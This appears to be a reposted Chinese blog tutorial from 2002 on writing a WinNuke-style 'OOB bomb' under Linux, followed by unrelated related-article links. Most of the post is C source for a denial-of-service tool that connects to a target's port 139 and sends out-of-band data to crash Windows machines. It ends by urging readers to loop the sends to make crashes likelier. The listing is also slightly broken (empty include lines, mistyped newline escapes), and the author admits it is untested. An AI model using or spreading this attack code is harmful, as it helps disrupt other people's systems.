两年前的文章,拿过来充充门面。

——————————————————

linux下 OOB 炸弹的制作

( 作者:mikespook | 发布日期:2002-12-8 | 浏览次数:466 )

关键字:linux,OOB炸弹,网络编程
前言:
    本文章只是为了给广大和我一样的菜鸟一个指引。如果你是高手,或对编程毫无兴趣。建议请不要在此浪费时间。

记得还是在上高中时,第一次接触了winnuck蓝屏炸弹。那时感觉非常神秘。后来才知道原来那时所谓的蓝屏炸弹就是 OOB 炸弹。
    首先让我们了解一下什么是 OOB 炸弹。OOB 炸弹,顾名思义就是向对方发送一个 OOB 消息,由于操作系统漏洞的缘故而造成异常错误(通常表现就是蓝屏,顾得名蓝屏炸弹)。当然这里的操作系统特指windows。
    下面就结合实力给大家介绍一个 OOB 炸弹的编制方法。下面这个程序我没有进行测试,原因有很多。主要是没有条件。我也不保证这是一个能用的版本,因为据我了解,MS早已经对这个漏洞进行了修复。今天的这个文章全当是纪念吧!让大家了解一下,原来炸弹不过如此(话虽然这么说但是能写出好炸弹的还是高人,比如最近闹得沸沸扬扬的SYN Flood)。
/*------------------------------oob_bomb.c-----------------------------------*/
/*gcc -O -o tcpscan scan.c*/
/* oob bomb */
/* mikespook */
/* 2002.5.21 */
#include
#include
#include
#include
#include

/* 这个函数是用来检查输入的参数是IP地址还是主机名 */
int correcthost(const char *host, struct sockaddr_in * sock);

main(int argc, int *argv[])
{
  /* 所要攻击的端口,一般 OOB 炸弹默认的是139端口 */
  int n_port;
  /* socket套接字 */
  int sock_id;
  /* 返回错误码 */
  int rtn_err;
  /* socket结构,建立连接、发送消息全靠它了 */  
  struct sockaddr_in remote_sock;
  /* 消息 */
  char *pc_msg;
  /* 处理命令行参数 */
  if(argc != 4){
    if(argc != 3){
      if(argc !=2){
        printf("Usage: oob_bomb [port] [message]/n");
        printf("Writen by mikespook/n");
        printf("mikespook@hotmail.com/tWith subject: report for bomb/n");
        exit(0);
      }else
        /* 如果没有输入端口号就用默认的139端口 */
        remote_sock.sin_port = htons(139);  
    }else
      /* 否则使用输入的端口 */
      remote_sock.sin_port = htons(atoi(argv[2]));
    pc_msg = ":-)";
  }else{
    remote_sock.sin_port = htons(atoi(argv[2]));
    pc_msg =(char *)argv[3];
  }

rtn_err = correcthost((char *)argv[1], (struct sockaddr_in *)&remote_sock);
  if(rtn_err != 0)
    exit(1);

remote_sock.sin_family = AF_INET;
  /* 建立一个socket套接口 */
  sock_id = socket(AF_INET, SOCK_STREAM, 0);
  if(sock_id < 0){
    perror("/nsocket");
    exit(2);
  }
  /* 当然要连接上才能继续了 */
  rtn_err = connect(sock_id, (struct sockaddr *)&remote_sock, sizeof(remote_sock));
  if(rtn_err < 0){
    perror("/nconnect");
    exit(3);
  }   
  /* 呵呵,送一个MSG_OOB消息,"Bomb..." */
  rtn_err = send(sock_id, pc_msg, strlen(pc_msg), MSG_OOB);
  if(rtn_err == -1){
    perror("/nsend");
    exit(4);
  }
  
  printf("OOB_Bomb Success!/n");
  close(sock_id);
  exit(0);
}
/* 这个函数我在上次的tcp connect扫描器的制作中有介绍,不多说了 */
int correcthost(const char *host, struct sockaddr_in *sock)
{
  struct hostent *struct_host;
  if(isdigit(*host))
    sock->sin_addr.s_addr = inet_addr(host);
  else{
    struct_host = gethostbyname(host);
    if(struct_host != NULL)
      bcopy(struct_host->h_addr, (char *)&sock->sin_addr, struct_host->h_length);
    else{
      printf("Get error with host name./n");
      return -1;
    }
  }
  return 0;
}

-------------------------------------------------------------------------------
最后补充一下,在发送MSG_OOB消息的时候一般的 OOB 炸弹会做一个循环,大量的发送 MSG_OOB 消息,以增加对方当机的可能性。原理我已经说了,改进就由你完成了。:)
由于我是菜鸟,或许有什么不对的地方。也可能一些细节我没有考虑到。如果你知道的话希望不惜指教。小弟感激不尽!!

linux下 OOB 炸弹的制作相关推荐

  1. 手动制作linux live,Linux下Live USB如何制作

    Linux下Live USB如何制作?Linux系统下该如何制作Live USB呢?下面小编就给大家介绍几种方法.一起去看看吧! 1.UNetbootin 这是创建Live USB最流行的工具之一.U ...

  2. linux 下的动态库制作 以及在python 中如何调用 c 函数库

    linux 下的动态库制作 以及在python 中如何调用 c 函数库 动态库: 动态库又称动态链接库英文为DLL,是Dynamic Link Library 的缩写形式,DLL是一个包含可由多个程序 ...

  3. Linux下使用dd命令制作启动盘

    date: 2018-09-25 10:39:41+00:00 原标题: Linux下使用dd命令制作启动盘 原链接: https://www.dreamoftime0.com/2018/09/25/ ...

  4. linux ramdisk 工具,Linux下用Busy Box制作Ramdisk全过程(转帖+部分完善) - 薛正华的专栏 - CSDN博客.pdf...

    Linux下用BusyBox制作Ramdisk全过程(转帖部分完善)-薛正华的专栏-CSDN博客 Linux下用Busy Box制作Ramdisk全过程(转帖+部分完善) 收藏 /software_z ...

  5. Linux下利用U盘制作winpe启动盘

    Linux 制作PE启动盘 原因就不探索了,总之就是需要在linux下制作另一台机器的启动盘,用来修复windows的引导 第一步,查看U盘的名称 第二步 取消挂载U盘 第三步 格式化U盘 第四步 准 ...

  6. linux下diff、patch制作补丁

    http://blog.csdn.net/goldfighter/article/details/6150309 学习资料的收集比较简单,方法一类似于这种初级问题网上资料非常丰富,google或者ba ...

  7. linux下bin安装包制作教程

    基本思想: 制作简单的安装包的时候可以简单的用cat命令连接两个文件,然后头部是脚本文件,执行的时候把下面的文件分解出来就行了.一般这个后部分的文件是个压缩包,那样,就能够打包很多文件了,在脚本中解压 ...

  8. linux下bin安装包制作

    文章目录 linux安装文件 .bin安装文件 .bin安装包制作 1.准备安装包 2.编写sh安装脚本 3.使用cat命令连接安装脚本和安装包 linux安装文件 Linux常见的安装文件可以简单的 ...

  9. linux下使用dd命令制作ubuntu的u盘启动,Ubuntu使用dd命令制作U盘系统启动盘

    [dd命令是在Linux环境中制作USB启动盘的一种推荐方法,而无需安装其他工具,基本上所有Linux发行版都集成了此命令. ) 生产方法示例: 1. 检查USB闪存驱动器的设备编号. 在此示例中,使 ...

  10. linux下打包deb文件,制作deb包的三种方法

    制作deb包的三种方法 发布时间:2008-06-10 16:05:39来源:红联作者:Mhynan 我所知道的制作deb包有三种方法,一种是将现有的文件打包,安装该包就像将打包的文件释放到某个目录: ...

最新文章

  1. Shiro笔记(三)授权
  2. 【广东省】2020年下软考证书领取通知
  3. java8 大到小排序,屌炸天,JDK8的排序大法!!
  4. 每一个程序员都应该知道的高并发处理技巧、创业公司如何解决高并发问题、互联网高并发问题解决思路、caoz大神多年经验总结分享...
  5. How to check accessibility errors via Web IDE
  6. ML.NET 示例:搜索引擎结果排名
  7. 【Sikuli】Sikuli 文档
  8. mysql e 变量_mysql 变量简介
  9. js库编写的环境和准备工作
  10. Vijos 1464积木游戏
  11. spring boot 集成redis监听Key值事件失效
  12. C4D快速入门教程——软件界面介绍
  13. linux版高德导航软件下载,【高德导航离线地图包下载】高德地图离线包 -ZOL软件下载...
  14. ubuntu虚拟机开机黑屏系列解决办法
  15. 简易四六级刷题网站(一键帮你对答案)
  16. ArcEngine创建平头缓冲区的方法
  17. 如何在html显示当前时间
  18. Java给PDF文件生成骑缝章
  19. 南阳市有没有达内PHP班,南阳达内php培训班怎么样
  20. 【期刊】基于 Python 的新浪微博数据爬虫

热门文章

  1. Surface Pro 4 系统优化全教程及QA
  2. 记录手机app的使用时长
  3. 电脑扬声器没有声音,插上耳机也检测不到
  4. 《黑白团团队》第七次作业:团队项目设计完善编码
  5. Uploadifive上传
  6. 浩瀚先森(guohao1206.com)
  7. java邮件增加签名_Java对文件添加数字签名
  8. VS 显示方法引用的设置方法
  9. spring cloud gateway转发服务报错。
  10. 安卓手机卸载手机自带软件(adb)